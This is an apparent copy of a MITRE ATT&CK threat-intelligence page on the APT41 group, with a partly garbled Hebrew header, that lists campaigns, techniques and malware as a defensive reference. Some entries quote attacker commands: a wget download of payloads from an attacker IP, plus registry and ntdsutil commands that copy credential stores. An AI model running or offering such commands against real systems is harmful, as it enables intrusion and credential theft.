

. [את הצעתכם](#) והגישו [ATT&CKcon 7.0](#) יגיע בין ה-27 ל-28 באוקטובר 2026. למדו עוד על ATT&CKcon 7.0

אתר זה משתמש בטכנולוגיות כגון קובצי Cookie כדי לאפשר פונקציונליות חיונית של האתר, כמו גם עבור אנליטיקה, התאמה אישית ופרסום ממוקד. [מדינה פרטיות](#)

קבל

סרב לקבצי עוגיות לא חיוניות

נחל העדפות

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דירה 41

הפעילה מאז לפחות 2012, נצפתה, [APT41](#) היא קבוצת איום שחוקרים העריכו כקבוצת ריגול בחסות המדינה הסינית, המבצעת גם פעולות ממניעים כלכליים. [APT41](#) התנהגויות בולטות כוללות^[1] כמכוונת לתעשיות שונות, כולל אך לא רק שירותי בריאות, טלקום, טכנולוגיה, פיננסים, חינוך, קמעונאות ומשחקי וידאו ב-14 מדינות. [Winnti](#) חופפת לפחות באופן חלקי לדיווחים ציבוריים על קבוצות כמו BARIUM וקבוצת [APT41](#) שימוש במגוון רחב של תוכנות זדוניות וכלים להשלמת יעדי המשימה. ^[2]^[3].

G0096 מזהה:

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: פנדה מרושעת, טייפון פליז, בריוםקבוצות קשורות

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תיאורי קבוצות משויכות

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קמפיינים

תעודת זהות	שם	נראה לראשונה	נראה לאחרונה	הפניות	טכניקות
C0040	APT41 אבק	^[6] ינואר 2023	^[6] יוני 2024	מחקר APT41 DUST נערך על ידי APT41 בין השנים 2023 ליולי 2024 ^[6] .	Acquire Infrastructure: Serverless , Application Layer Protocol: Web Protocols , Archive Collected Data: Archive via Utility , Automated Collection , Compromise Accounts: Cloud Accounts , Create or Modify System Process: Windows Service , Data from Information Repositories: Databases , Data Staged: Local Data Staging , Encrypted Channel: Asymmetric Cryptography , Exfiltration Over Web Service: Exfiltration to Cloud Storage , Hijack Execution Flow: DLL , Indicator Removal: File Deletion , Ingress Tool Transfer , Masquerading: Masquerade Task or Service , Obfuscated Files or Information: Encrypted/Encoded File , Obtain Capabilities: Code Signing Certificates , Search Open Technical Databases: Scan Databases , Search Open Websites/Domains: Search Engines , Search Victim-Owned Websites , Server Software Component: Web Shell , Subvert Trust Controls: Code Signing , System Services: Service Execution , Web Service
C0017	C0017	^[Z] May 2021	^[Z] February 2022	^[Z]	Access Token Manipulation , Application Layer Protocol: Web Protocols , Archive Collected Data: Archive via Custom Method , Command and Scripting Interpreter: JavaScript , Command and Scripting Interpreter: Windows Command Shell , Data from Local System , Data Obfuscation: Protocol or Service Impersonation , Data Staged: Local Data Staging , Deobfuscate/Decode Files or Information , Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol , Exfiltration Over C2 Channel , Exfiltration Over Web Service , Exploit Public-Facing Application , Hijack Execution Flow , Ingress Tool Transfer , Local Storage Discovery , Masquerading: Masquerade Task or Service , Masquerading: Match Legitimate Resource Name or Location , Obfuscated Files or Information: Software Packing , Obfuscated Files or Information , Obtain Capabilities: Tool , OS Credential Dumping: Security Account Manager , Proxy , Scheduled Task/Job: Scheduled Task , Server Software Component: Web Shell , System Network Configuration Discovery , System Owner/User Discovery , Web Service: Dead Drop Resolver , Web Service

Techniques Used

Domain	ID		Name	Use
Enterprise	T1134		Access Token Manipulation	During C0017 , APT41 used a ConfuserEx obfuscated BADPOTATO exploit to abuse named-pipe impersonation for local <code>NT AUTHORITY\SYSTEM</code> privilege escalation. ^[7]
Enterprise	T1087	.001	Account Discovery: Local Account	APT41 used built-in <code>net</code> commands to enumerate local administrator groups. ^[8]
		.002	Account Discovery: Domain Account	APT41 used built-in <code>net</code> commands to enumerate domain administrator users. ^[8]
Enterprise	T1098	.007	Account Manipulation: Additional Local or Domain Groups	APT41 has added user accounts to the User and Admin groups. ^[2]
Enterprise	T1583	.007	Acquire Infrastructure: Serverless	APT41 DUST used infrastructure hosted behind Cloudflare or utilized Cloudflare Workers for command and control. ^[6]
Enterprise	T1595	.002	Active Scanning: Vulnerability Scanning	APT41 used the Acunetix SQL injection vulnerability scanner in target reconnaissance operations, as well as the JexBoss tool to identify vulnerabilities in Java applications. ^[8]
		.003	Active Scanning: Wordlist Scanning	APT41 leverages various tools and frameworks to brute-force directories on web servers. ^[8]
Enterprise	T1071	.001	Application Layer Protocol: Web Protocols	APT41 used HTTP to download payloads for CVE-2019-19781 and CVE-2020-10189 exploits. ^[9] APT41 DUST used HTTPS for command and control. ^[6] During C0017 , APT41 ran <code>wget http://103.224.80[.]44:8080/kernel</code> to download malicious payloads. ^[7]
		.002	Application Layer Protocol: File Transfer Protocols	APT41 used exploit payloads that initiate download via ftp . ^[9]
		.004	Application Layer Protocol: DNS	APT41 used DNS for C2 communications. ^{[2][3]}
Enterprise	T1560	.001	Archive Collected Data: Archive via Utility	APT41 created a RAR archive of targeted files for exfiltration. ^[2] Additionally, APT41 used the makecab.exe utility to both download tools, such as NATBypass, to the victim network and to archive a file for exfiltration. ^[10] APT41 DUST used <code>rar</code> to compress data downloaded from internal Oracle databases prior to exfiltration. ^[6]
		.003	Archive Collected Data: Archive via Custom Method	During C0017 , APT41 hex-encoded PII data prior to exfiltration. ^[7]
Enterprise	T1119		Automated Collection	APT41 DUST used tools such as SQLULDR2 and PINEGROVE to gather local system and database information. ^[6]
Enterprise	T1197		BITS Jobs	APT41 used BITSAdmin to download and install payloads. ^{[9][4]}

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Domain	ID		Name	Use
Enterprise	T1110		Brute Force	APT41 performed password brute-force attacks on the local admin account. ^[2]
Enterprise	T1059	.001	Command and Scripting Interpreter: PowerShell	APT41 leveraged PowerShell to deploy malware families in victims' environments. ^{[2][9]}
		.003	Command and Scripting Interpreter: Windows Command Shell	APT41 used <code>cmd.exe /c</code> to execute commands on remote machines. ^[2] APT41 used a batch file to install persistence for the Cobalt Strike BEACON loader. ^[9] During C0017, APT41 used <code>cmd.exe</code> to execute reconnaissance commands. ^[7]
		.004	Command and Scripting Interpreter: Unix Shell	APT41 used Linux shell commands for system survey and information gathering prior to exploitation of vulnerabilities such as CVE-2019-19871. ^[9]
		.007	Command and Scripting Interpreter: JavaScript	During C0017, APT41 deployed JScript web shells on compromised systems. ^[7]
Enterprise	T1586	.003	Compromise Accounts: Cloud Accounts	APT41 DUST used compromised Google Workspace accounts for command and control. ^[6]
Enterprise	T1136	.001	Create Account: Local Account	APT41 has created user accounts. ^[2]
Enterprise	T1543	.003	Create or Modify System Process: Windows Service	APT41 modified legitimate Windows services to install malware backdoors. ^{[2][3]} APT41 created the StorSyncSvc service to provide persistence for Cobalt Strike. ^[9] APT41 DUST used Windows Services with names such as <code>Windows Defend</code> for persistence of DUSTPAN. ^[6]
Enterprise	T1555		Credentials from Password Stores	APT41 has obtained information about accounts, lists of employees, and plaintext and hashed passwords from databases. ^[8]
		.003	Credentials from Web Browsers	APT41 used BrowserGhost, a tool designed to obtain credentials from browsers, to retrieve information from password stores. ^[8]
Enterprise	T1486		Data Encrypted for Impact	APT41 used a ransomware called Encryptor RaaS to encrypt files on the targeted systems and provide a ransom note to the user. ^[2] APT41 also used Microsoft Bitlocker to encrypt workstations and Jetico's BestCrypt to encrypt servers. ^[10]
Enterprise	T1213	.003	Data from Information Repositories: Code Repositories	APT41 cloned victim user Git repositories during intrusions. ^[8]
		.006	Data from Information Repositories: Databases	APT41 DUST collected data from victim Oracle databases using SQLULDR2. ^[6]
Enterprise	T1005		Data from Local System	APT41 has uploaded files and data from a compromised host. ^[3] During C0017, APT41 collected information related to compromised machines as well as Personal Identifiable Information (PII) from victim networks. ^[7]

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Domain	ID		Name	Use
Enterprise	T1074	.001	Data Staged: Local Data Staging	APT41 DUST involved exporting data from Oracle databases to local CSV files prior to exfiltration.^[6] During C0017, APT41 copied the local <code>SAM</code> and <code>SYSTEM</code> Registry hives to a staging directory.^[7]
Enterprise	T1030		Data Transfer Size Limits	APT41 transfers post-exploitation files dividing the payload into fixed-size chunks to evade detection.^[8]
Enterprise	T1140		Deobfuscate/Decode Files or Information	During C0017, APT41 used the DUSTPAN loader to decrypt embedded payloads.^[7]
Enterprise	T1685		Disable or Modify Tools	APT41 developed a custom injector that enables an Event Tracing for Windows (ETW) bypass, making malicious processes invisible to Windows logging.^[8]
		.005	Clear Windows Event Logs	APT41 attempted to remove evidence of some of its activity by clearing Windows security and system events.^[2]
Enterprise	T1484	.001	Domain or Tenant Policy Modification: Group Policy Modification	APT41 used scheduled tasks created via Group Policy Objects (GPOs) to deploy ransomware.^[1]
Enterprise	T1568	.002	Dynamic Resolution: Domain Generation Algorithms	APT41 has used DGAs to change their C2 servers monthly.^[2]
Enterprise	T1573	.002	Encrypted Channel: Asymmetric Cryptography	APT41 DUST used HTTPS for command and control.^[6]
Enterprise	T1546	.008	Event Triggered Execution: Accessibility Features	APT41 leveraged sticky keys to establish persistence.^[2]
Enterprise	T1480	.001	Execution Guardrails: Environmental Keying	APT41 has encrypted payloads using the Data Protection API (DPAPI), which relies on keys tied to specific user accounts on specific machines. APT41 has also environmentally keyed second stage malware with an RC5 key derived in part from the infected system's volume serial number.^[11]
Enterprise	T1048	.003	Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol	During C0017, APT41 exfiltrated victim data via DNS lookups by encoding and prepending it as subdomains to the attacker-controlled domain.^[7]
Enterprise	T1041		Exfiltration Over C2 Channel	During C0017, APT41 used its Cloudflare services C2 channels for data exfiltration.^[7]
Enterprise	T1567	.002	Exfiltration Over Web Service: Exfiltration to Cloud Storage	APT41 DUST exfiltrated collected information to OneDrive.^[6]
Enterprise	T1190		Exploit Public-Facing Application	APT41 exploited CVE-2020-10189 against Zoho ManageEngine Desktop Central through unsafe deserialization, and CVE-2019-19781 to compromise Citrix Application Delivery Controllers (ADC) and gateway devices.^[9] APT41 leveraged vulnerabilities such as ProxyLogon exploitation or SQL injection for initial access.^[8] APT41 exploited CVE-2021-26855 against a vulnerable Microsoft Exchange Server to gain initial

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Domain	ID		Name	Use
Enterprise	T1203		Exploitation for Client Execution	APT41 leveraged the follow exploits in their operations: CVE-2012-0158, CVE-2015-1641, CVE-2017-0199, CVE-2017-11882, and CVE-2019-3396. ^[2]
Enterprise	T1133		External Remote Services	APT41 compromised an online billing/payment service using VPN access between a third-party service provider and the targeted payment service. ^[2]
Enterprise	T1008		Fallback Channels	APT41 used the Steam community page as a fallback mechanism for C2. ^[2]
Enterprise	T1083		File and Directory Discovery	APT41 has executed <code>file /bin/pwd</code> on exploited victims, perhaps to return architecture related information. ^[9]
Enterprise	T1574	.001	Hijack Execution Flow: DLL	APT41 has used search order hijacking to execute malicious payloads, such as Winnti for Windows . ^[4] APT41 has also used legitimate executables to perform DLL side-loading of their malware. ^[2] APT41 DUST involved the use of DLL search order hijacking to execute DUSTTRAP . ^[6] APT41 DUST used also DLL side-loading to execute DUSTTRAP via an AhnLab uninstaller. ^[6]
		.006	Hijack Execution Flow: Dynamic Linker Hijacking	APT41 has configured payloads to load via LD_PRELOAD. ^[4]
Enterprise	T1070	.003	Indicator Removal: Clear Command History	APT41 attempted to remove evidence of some of its activity by deleting Bash histories. ^[2]
		.004	Indicator Removal: File Deletion	APT41 deleted files from the system. ^{[2][8]} APT41 DUST deleted various artifacts from victim systems following use. ^[6]
Enterprise	T1105		Ingress Tool Transfer	APT41 used certutil to download additional files. ^{[9][4][3]} APT41 downloaded post-exploitation tools such as Cobalt Strike via command shell following initial access. ^[8] APT41 has uploaded Procdump and NATBypass to a staging directory and has used these tools in follow-on activities. ^[10] APT41 DUST involved execution of <code>certutil.exe</code> via web shell to download the DUSTPAN dropper. ^[6] During C0017 , APT41 downloaded malicious payloads onto compromised systems. ^[7]
Enterprise	T1056	.001	Input Capture: Keylogging	APT41 used a keylogger called GEARSHIFT on a target system. ^[2]
Enterprise	T1570		Lateral Tool Transfer	APT41 uses remote shares to move and remotely execute payloads during lateral movemement. ^[8]
Enterprise	T1680		Local Storage Discovery	During C0017 , APT41 issued <code>ping -n 1 ((cmd /c dir c:\ findstr Number).split() [-1]+</code> commands to find the volume serial number of compromised systems. ^[7]
Enterprise	T1036	.004	Masquerading: Masquerade Task or Service	APT41 has created services to appear as benign system tools. ^[3] APT41 DUST disguised DUSTPAN as a legitimate Windows binary such as <code>w3wp.exe</code> or <code>conn.exe</code> . ^[6]

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		.005	Masquerading: Match Legitimate Resource Name or Location	APT41 attempted to masquerade their files as popular anti-virus software. ^{[2][3]} During C0017, APT41 used file names beginning with USERS, SYSUSER, and SYSLOG for DEADEYE, and changed KEYPLUG file extensions from .vmp to .upx likely to avoid hunting detections. ^[7]
Enterprise	T1112		Modify Registry	APT41 used a malware variant called GOODLUCK to modify the registry in order to steal credentials. ^{[2][3]}
Enterprise	T1104		Multi-Stage Channels	APT41 used the storesyncsvc.dll BEACON backdoor to download a secondary backdoor. ^[9]
Enterprise	T1599		Network Boundary Bridging	APT41 used <code>NATBypass</code> to bypass firewall restrictions and to access compromised systems via RDP. ^[10]
Enterprise	T1046		Network Service Discovery	APT41 used a malware variant called WIDETONE to conduct port scans on specified subnets. ^[2]
Enterprise	T1135		Network Share Discovery	APT41 used the <code>net share</code> command as part of network reconnaissance. ^{[2][3]}
Enterprise	T1027		Obfuscated Files or Information	APT41 used VMProtected binaries in multiple intrusions. ^[9] During C0017, APT41 broke malicious binaries, including DEADEYE and KEYPLUG, into multiple sections on disk to evade detection. ^[7]
		.002	Software Packing	APT41 uses packers such as Themida to obfuscate malicious files. ^[8] During C0017, APT41 used VMProtect to slow the reverse engineering of malicious binaries. ^[7]
		.013	Encrypted/Encoded File	APT41 DUST used encrypted payloads decrypted and executed in memory. ^[6]
Enterprise	T1588	.002	Obtain Capabilities: Tool	APT41 has obtained and used tools such as Mimikatz, pwdump, PowerSploit, and Windows Credential Editor. ^[2] For C0017, APT41 obtained publicly available tools such as YSoSerial.NET, ConfuserEx, and BadPotato. ^[7]
		.003	Obtain Capabilities: Code Signing Certificates	APT41 DUST used stolen code signing certificates to sign DUSTTRAP malware and components. ^[6]
Enterprise	T1003	.001	OS Credential Dumping: LSASS Memory	APT41 has used hashdump, Mimikatz, Procdump, and the Windows Credential Editor to dump password hashes from memory and authenticate to other user accounts. ^{[2][3][10]}
		.002	OS Credential Dumping: Security Account Manager	APT41 extracted user account data from the Security Account Manager (SAM), making a copy of this database from the registry using the <code>reg save</code> command or by exploiting volume shadow copies. ^[8] During C0017, APT41 copied the <code>SAM</code> and <code>SYSTEM</code> Registry hives for credential harvesting. ^[7]
		.003	OS Credential Dumping: NTDS	APT41 used ntdsutil to obtain a copy of the victim environment <code>ntds.dit</code> file. ^[8]

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Enterprise	T1542	.003	Pre-OS Boot: Bootkit	APT41 deployed Master Boot Record bootkits on Windows systems to hide their malware and maintain persistence on victim systems. ^[2]
Enterprise	T1055		Process Injection	APT41 malware TIDYELF loaded the main WINTERLOVE component by injecting it into the iexplore.exe process. ^[2]
Enterprise	T1090		Proxy	APT41 used a tool called CLASSFON to covertly proxy network communications. ^[2] During C0017 , APT41 used the Cloudflare CDN to proxy C2 traffic. ^[7]
Enterprise	T1012		Query Registry	APT41 queried registry values to determine items such as configured RDP ports and network configurations. ^[8]
Enterprise	T1021	.001	Remote Services: Remote Desktop Protocol	APT41 used RDP for lateral movement. ^{[2][4]} APT41 used NATBypass to expose local RDP ports on compromised systems to the Internet. ^[10]
		.002	Remote Services: SMB/Windows Admin Shares	APT41 has transferred implant files using Windows Admin Shares and the Server Message Block (SMB) protocol, then executes files through Windows Management Instrumentation (WMI). ^{[4][10]}
Enterprise	T1018		Remote System Discovery	APT41 has used MiPing to discover active systems in the victim network. ^[10]
Enterprise	T1496	.001	Resource Hijacking: Compute Hijacking	APT41 deployed a Monero cryptocurrency mining tool in a victim’s environment. ^{[2][1]}
Enterprise	T1014		Rootkit	APT41 deployed rootkits on Linux systems. ^{[2][4]}
Enterprise	T1053	.005	Scheduled Task/Job: Scheduled Task	APT41 used a compromised account to create a scheduled task on a system. ^{[2][4]} During C0017 , APT41 used the following Windows scheduled tasks for DEADEYE dropper persistence on US state government networks: <code>\Microsoft\Windows\PLA\Server Manager Performance Monitor,</code> <code>\Microsoft\Windows\Ras\ManagerMobility,</code> <code>\Microsoft\Windows\WDI\SrvSetupResults,</code> and <code>\Microsoft\Windows\WDI\USOShared.</code> ^[7]
Enterprise	T1596	.005	Search Open Technical Databases: Scan Databases	APT41 uses the Chinese website fofa.su, similar to the Shodan scanning service, for passive scanning of victims. ^[8] APT41 DUST used internet scan data for target development. ^[6]
Enterprise	T1593	.002	Search Open Websites/Domains: Search Engines	APT41 DUST involved use of search engines to research victim servers. ^[6]
Enterprise	T1594		Search Victim-Owned Websites	APT41 DUST involved access of external victim websites for target development. ^[6]
Enterprise	T1505	.003	Server Software Component: Web Shell	APT41 DUST involved use of web shells such as ANTSWORD and BLUEBEAM for persistence. ^[6] During C0017 , APT41 deployed JScript web shells through the creation of malicious ViewState objects. ^[7]

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Domain	ID		Name	Use
Enterprise	T1553	.002	Subvert Trust Controls: Code Signing	APT41 leveraged code-signing certificates to sign malware when targeting both gaming and non-gaming organizations.^{[2][3]} APT41 DUST used stolen code signing certificates for DUSTTRAP malware and subsequent payloads.^[6]
Enterprise	T1195	.002	Supply Chain Compromise: Compromise Software Supply Chain	APT41 gained access to production environments where they could inject malicious code into legitimate, signed files and widely distribute them to end users.^[2]
Enterprise	T1218	.001	System Binary Proxy Execution: Compiled HTML File	APT41 used compiled HTML (.chm) files for targeting.^[2]
		.011	System Binary Proxy Execution: Rundll32	APT41 has used rundll32.exe to execute a loader.^[4]
Enterprise	T1082		System Information Discovery	APT41 uses multiple built-in commands such as <code>systeminfo</code> and <code>net config Workstation</code> to enumerate victim system basic configuration information.^[8]
Enterprise	T1016		System Network Configuration Discovery	APT41 collected MAC addresses from victim machines.^{[2][3]} During C0017, APT41 used <code>cmd.exe /c ping %userdomain%</code> for discovery.^[7]
Enterprise	T1049		System Network Connections Discovery	APT41 has enumerated IP addresses of network resources and used the <code>netstat</code> command as part of network reconnaissance. The group has also used a malware variant, HIGHNOON, to enumerate active RDP sessions.^{[2][3]}
Enterprise	T1033		System Owner/User Discovery	APT41 has executed <code>whoami</code> commands, including using the WMIEXEC utility to execute this on remote machines.^{[2][8]} During C0017, APT41 used <code>whoami</code> to gather information from victim machines.^[7]
Enterprise	T1569	.002	System Services: Service Execution	APT41 used svchost.exe and Net to execute a system service installed to launch a Cobalt Strike BEACON loader.^{[9][3]} APT41 DUST used Windows services to execute DUSTPAN.^[6]
Enterprise	T1550	.002	Use Alternate Authentication Material: Pass the Hash	APT41 uses tools such as Mimikatz to enable lateral movement via captured password hashes.^[8]
Enterprise	T1078		Valid Accounts	APT41 used compromised credentials to log on to other systems.^{[2][4]}
Enterprise	T1102	.001	Web Service: Dead Drop Resolver	APT41 used legitimate websites for C2 through dead drop resolvers (DDR), including GitHub, Pastebin, and Microsoft TechNet.^[2] During C0017, APT41 used dead drop resolvers on two separate tech community forums for their KEYPLUG Windows-version backdoor; notably APT41 updated the community forum posts frequently with new dead drop resolvers during the campaign.^[7]
Enterprise	T1047		Windows Management	APT41 used WMI in several ways, including for execution of commands

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Software

ID	Name	References	Techniques
S0073	ASPXSpy	^[2]	Server Software Component: Web Shell
S0190	BITSAdmin	^[9]	BITS Jobs , Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol , Ingress Tool Transfer , Lateral Tool Transfer
S0069	BLACKCOFFEE	^[2]	Command and Scripting Interpreter: Windows Command Shell , File and Directory Discovery , Indicator Removal: File Deletion , Multi-Stage Channels , Process Discovery , Web Service: Dead Drop Resolver , Web Service: Bidirectional Communication
S0160	certutil	^[9]	Archive Collected Data: Archive via Utility , Deobfuscate/Decode Files or Information , Ingress Tool Transfer , Subvert Trust Controls: Install Root Certificate
S0020	China Chopper	APT41 used the China Chopper web shell as a persistence mechanism on compromised Microsoft Exchange servers. ^{[10][2]}	Application Layer Protocol: Web Protocols , Brute Force: Password Guessing , Command and Scripting Interpreter: Windows Command Shell , Data from Local System , File and Directory Discovery , Indicator Removal: Timestomp , Ingress Tool Transfer , Network Service Discovery , Obfuscated Files or Information: Software Packing , Server Software Component: Web Shell
S0154	Cobalt Strike	^{[9][3]}	Abuse Elevation Control Mechanism: Sudo and Sudo Caching , Abuse Elevation Control Mechanism: Bypass User Account Control , Access Token Manipulation: Parent PID Spoofing , Access Token Manipulation: Token Impersonation/Theft , Access Token Manipulation: Make and Impersonate Token , Account Discovery: Domain Account , Application Layer Protocol: DNS , Application Layer Protocol: Web Protocols , Application Layer Protocol: File Transfer Protocols , BITS Jobs , Browser Session Hijacking , Command and Scripting Interpreter: JavaScript , Command and Scripting Interpreter: Visual Basic , Command and Scripting Interpreter: PowerShell , Command and Scripting Interpreter: Python , Command and Scripting Interpreter: Windows Command Shell , Create or Modify System Process: Windows Service , Data Encoding: Standard Encoding , Data from Local System , Data Obfuscation: Protocol or Service Impersonation , Data Transfer Size Limits , Deobfuscate/Decode Files or Information , Disable or Modify Tools , Encrypted Channel: Asymmetric Cryptography , Encrypted Channel: Symmetric Cryptography , Exploitation for Client Execution , Exploitation for Privilege Escalation , File and Directory Discovery , Hide Artifacts: Process Argument Spoofing , Indicator Removal: Timestomp , Ingress Tool Transfer , Input Capture: Keylogging , Modify Registry , Native API , Network Service Discovery , Network Share Discovery , Non-Application Layer Protocol , Obfuscated Files or Information: Indicator Removal from Tools , Obfuscated Files or Information , Office Application Startup: Office Template Macros , OS Credential Dumping: LSASS Memory , OS Credential Dumping: Security Account Manager , Permission Groups Discovery: Domain Groups , Permission Groups Discovery: Local Groups , Process Discovery , Process Injection: Dynamic-link Library Injection , Process Injection: Process Hollowing , Process Injection , Protocol Tunneling , Proxy: Domain Fronting , Proxy: Internal Proxy , Query Registry , Reflective Code Loading , Remote Services: Remote Desktop Protocol , Remote Services: SSH , Remote Services: Windows Remote Management , Remote Services: SMB/Windows Admin Shares , Remote Services: Distributed Component Object Model , Remote System Discovery , Scheduled Transfer , Screen Capture , Software Discovery , Subvert Trust

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ID	Name	References	Techniques
S1052	DEADEYE	[7]	Command and Scripting Interpreter: Windows Command Shell , Deobfuscate/Decode Files or Information , Execution Guardrails , Hide Artifacts: NTFS File Attributes , Masquerading: Masquerade Task or Service , Native API , Obfuscated Files or Information: Encrypted/Encoded File , Obfuscated Files or Information: Embedded Payloads , System Binary Proxy Execution: Msiexec , System Binary Proxy Execution: Rundll32 , System Information Discovery , System Network Configuration Discovery
S0021	Derusbi	[2]	Audio Capture , Command and Scripting Interpreter: Unix Shell , Encrypted Channel: Symmetric Cryptography , Fallback Channels , File and Directory Discovery , Indicator Removal: Timestamp , Indicator Removal: File Deletion , Input Capture: Keylogging , Non-Application Layer Protocol , Non-Standard Port , Process Discovery , Process Injection: Dynamic-link Library Injection , Query Registry , Screen Capture , System Binary Proxy Execution: Regsvr32 , System Information Discovery , System Owner/User Discovery , Video Capture
S0105	dsquery	[7]	Account Discovery: Domain Account , Domain Trust Discovery , Permission Groups Discovery: Domain Groups , System Information Discovery
S1158	DUSTPAN	DUSTPAN has been used by APT41 in various campaigns since at least 2021. [12][6]	Create or Modify System Process: Windows Service , Deobfuscate/Decode Files or Information , Masquerading: Match Legitimate Resource Name or Location , Obfuscated Files or Information: Encrypted/Encoded File , Obfuscated Files or Information: Embedded Payloads , Process Injection: Portable Executable Injection
S1159	DUSTTRAP	DUSTTRAP is used by APT41 . [6]	Account Discovery: Domain Account , Account Discovery: Local Account , Application Window Discovery , Command and Scripting Interpreter: Windows Command Shell , Data from Local System , Deobfuscate/Decode Files or Information , Disable or Modify Tools: Clear Windows Event Logs , Domain Trust Discovery , Exfiltration Over C2 Channel , File and Directory Discovery , Group Policy Discovery , Indicator Removal , Indicator Removal: Network Share Connection Removal , Ingress Tool Transfer , Input Capture: Keylogging , Log Enumeration , Network Share Discovery , Obfuscated Files or Information: Encrypted/Encoded File , Obfuscated Files or Information: Embedded Payloads , Process Discovery , Process Injection , Query Registry , Remote System Discovery , Screen Capture , Software Discovery: Security Software Discovery , System Information Discovery , System Network Configuration Discovery , System Time Discovery , Virtualization/Sandbox Evasion: System Checks

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ID	Name	References	Techniques
S0363	Empire	^[4]	Abuse Elevation Control Mechanism: Bypass User Account Control , Access Token Manipulation: SID-History Injection , Access Token Manipulation: Access Token Manipulation: Create Process with Token , Account Discovery: Domain Account , Account Discovery: Local Account , Adversary-in-the-Middle: Name Resolution Poisoning and SMB Relay , Application Layer Protocol: Web Protocols , Archive Collected Data , Automated Collection , Automated Exfiltration , Boot or Logon Autostart Execution: Security Support Provider , Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder , Boot or Logon Autostart Execution: Shortcut Modification , Browser Information Discovery , Clipboard Data , Command and Scripting Interpreter: PowerShell , Command and Scripting Interpreter: Windows Command Shell , Command and Scripting Interpreter: Create Account: Local Account , Create Account: Domain Account , Create or Modify System Process: Windows Service , Credentials from Password Stores: Keychain , Credentials from Password Stores: Credentials from Web Browsers , Domain or Tenant Policy Modification: Group Policy Modification , Domain Trust Discovery , Email Collection: Local Email Collection , Encrypted Channel: Asymmetric Cryptography , Event Triggered Execution: Accessibility Features , Exfiltration Over C2 Channel , Exfiltration Over Web Service: Exfiltration to Code Repository , Exfiltration Over Web Service: Exfiltration to Cloud Storage , Exploitation for Privilege Escalation , Exploitation of Remote Services , File and Directory Discovery , Group Policy Discovery , Hijack Execution Flow: Path Interception by Unquoted Path , Hijack Execution Flow: Path Interception by Search Order Hijacking , Hijack Execution Flow: Path Interception by PATH Environment Variable , Hijack Execution Flow: Dyllib Hijacking , Hijack Execution Flow: DLL , Indicator Removal: Timestamp , Ingress Tool Transfer , Input Capture: Keylogging , Input Capture: Credential API Hooking , Native API , Network Service Discovery , Network Share Discovery , Network Sniffing , Obfuscated Files or Information: Command Obfuscation , OS Credential Dumping: LSASS Memory , Process Discovery , Process Injection , Remote Services: Distributed Component Object Model , Remote Services: SSH , Scheduled Task/Job: Scheduled Task , Screen Capture , Software Discovery: Security Software Discovery , Steal or Forge Kerberos Tickets: Kerberoasting , Steal or Forge Kerberos Tickets: Golden Ticket , Steal or Forge Kerberos Tickets: Silver Ticket , System Information Discovery , System Network Configuration Discovery , System Network Connections Discovery , System Owner/User Discovery , System Services: Service Execution , Trusted Developer Utilities Proxy Execution: MSBuild , Unsecured Credentials: Credentials In Files , Unsecured Credentials: Private Keys , Use Alternate Authentication Material: Pass the Hash , Video Capture , Web Service: Bidirectional Communication , Windows Management Instrumentation
S0095	ftp	^[9]	Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol , Ingress Tool Transfer , Lateral Tool Transfer
S0032	gh0st RAT	^[2]	Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder , Command and Scripting Interpreter , Create or Modify System Process: Windows Service , Data Encoding: Standard Encoding , Deobfuscate/Decode Files or Information , Disable or Modify Tools: Clear Windows Event Logs , Dynamic Resolution: Fast Flux DNS , Encrypted Channel: Symmetric Cryptography , Encrypted Channel , Hijack Execution Flow: DLL , Indicator Removal: File Deletion , Ingress Tool Transfer , Input Capture: Keylogging , Modify Registry , Native API , Non-Application Layer Protocol , Process Discovery , Process Injection , Query Registry , Screen Capture , Shared Modules , System Binary Proxy Execution: Rundll32 , System Information Discovery , System Services: Service Execution
S0357	Impacket	APT41 used Impacket to	Adversary-in-the-Middle: Name Resolution Poisoning and SMB Relay , Lateral Tool Transfer , Network Sniffing , OS Credential Dumping: NTDS , OS Credential Dumping:

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ID	Name	References	Techniques
S0100	ipconfig	[3]	System Network Configuration Discovery
S1051	KEYPLUG	[7]	Application Layer Protocol: Web Protocols , Deobfuscate/Decode Files or Information , Encrypted Channel: Asymmetric Cryptography , Non-Application Layer Protocol , Obfuscated Files or Information: Encrypted/Encoded File , Proxy , System Time Discovery , Web Service: Dead Drop Resolver
S1185	LightSpy	[13]	Application Layer Protocol: Web Protocols , Application Layer Protocol: Web Protocols , Archive Collected Data , Audio Capture , Audio Capture , Boot or Logon Initialization Scripts , Browser Information Discovery , Command and Scripting Interpreter , Credentials from Password Store: Keychain , Credentials from Password Stores: Keychain , Data Destruction , Data from Local System , Drive-By Compromise , Endpoint Denial of Service , Execution Guardrails , Exfiltration Over C2 Channel , Exfiltration Over C2 Channel , Exploitation for Client Execution , Exploitation for Privilege Escalation , File and Directory Discovery , Ingress Tool Transfer , Ingress Tool Transfer , Location Tracking , Masquerading , Native API , Network Service Discovery , Network Service Scanning , Non-Standard Port , Obfuscated Files or Information: Encrypted/Encoded File , Obfuscated Files or Information: Binary Padding , Obfuscated Files or Information , Phishing , Process Discovery , Process Discovery , Process Injection , Protected User Data: Contact List , Protected User Data: Call Log , Protected User Data: SMS Messages , Screen Capture , Screen Capture , Shared Modules , SMS Control , Software Discovery , Software Discovery , Stored Application Data , System Information Discovery , System Information Discovery , System Network Configuration Discovery: Wi-Fi Discovery , System Network Configuration Discovery , System Network Connections Discovery , Video Capture
S0443	MESSAGETAP	[14] [4]	Archive Collected Data: Archive via Custom Method , Automated Collection , Data Staged: Local Data Staging , Deobfuscate/Decode Files or Information , File and Directory Discovery , Indicator Removal: File Deletion , Network Sniffing , System Network Connections Discovery
